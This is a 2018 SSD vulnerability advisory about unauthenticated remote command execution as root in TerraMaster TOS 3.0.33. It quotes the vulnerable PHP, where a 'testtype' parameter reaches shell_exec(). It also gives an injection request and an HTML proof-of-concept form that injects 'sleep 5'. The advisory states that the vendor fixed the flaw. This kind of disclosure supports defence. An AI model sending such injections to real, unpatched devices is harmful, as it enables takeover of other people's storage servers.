SSD Advisory – TerraMaster TOS Unauthenticated Remote Command Execution

by SSD / Maor Schwartz on April 22, 2018

Want to get paid for a vulnerability similar to this one?
Contact us at: [email protected]
See our full scope at: https://blogs.securiteam.com/index.php/product_scope

Vulnerability Summary
The following advisory describes a unauthenticated remote command execution found in TerraMaster TOS 3.0.33.

TOS is a “Linux platform-based operating system developed for TerraMaster cloud storage NAS server. TOS 3 is the third generation operating system newly launched.”

Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Vendor response
The vendor stated that version 3.1.03 of TerraMaster TOS is no longer vulnerable to this vulnerability, the latest version of the software can be obtained from: http://download.terra-master.com/download.php.

Vulnerability details
User controlled input is not sufficiently filtered and unauthenticated user can execute commands as root by sending a POST request to http://IP/include/ajax/GetTest.php with the following parameters:

Sponsorships Available

dev=1
testtype=;COMMAND-TO-RUN;
submit=Send

We can see in the source code that the value of parameter testtype will assign to $line and will execute by shell_exec()

<br />
$file = “/mnt/base/.”.basename($data[‘dev’]).”test”;<br />
if(!file_exists($file)) touch($file);<br />
if(isset($data[‘testtype’])){//开始或者停止过程…<br />
if($data[‘testtype’] != ‘stop’){<br />
$line = $data[‘dev’].’:’.$data[‘testtype’].”:”.time();<br />
shell_exec(“echo -e “”.$line.”” > $file”);<br />
}<br />
$return = smartscan($data[‘dev’],$data[‘testtype’]);<br />
}else{//得到状态过程…<br />
$return = smartscan($data[‘dev’]);<br />
}

$file = “/mnt/base/.”.basename($data[‘dev’]).“test”;

if(!file_exists($file)) touch($file);

if(isset($data[‘testtype’])){//开始或者停止过程…

if($data[‘testtype’] != ‘stop’){

$line = $data[‘dev’].‘:’.$data[‘testtype’].“:”.time();

shell_exec(“echo -e “”.$line.“” > $file”);

}

$return = smartscan($data[‘dev’],$data[‘testtype’]);

}else{//得到状态过程…

$return = smartscan($data[‘dev’]);

}

Proof of Concept

<br />
<form method=”post” action=”http://IP/include/ajax/GetTest.php”><br />
<input type=”text” name=”dev” value=”1″><br />
<input type=”text” name=”testtype” value='”; sleep 5; echo ” ‘><br />
<input type=”submit” value=’Send’><br />
</form>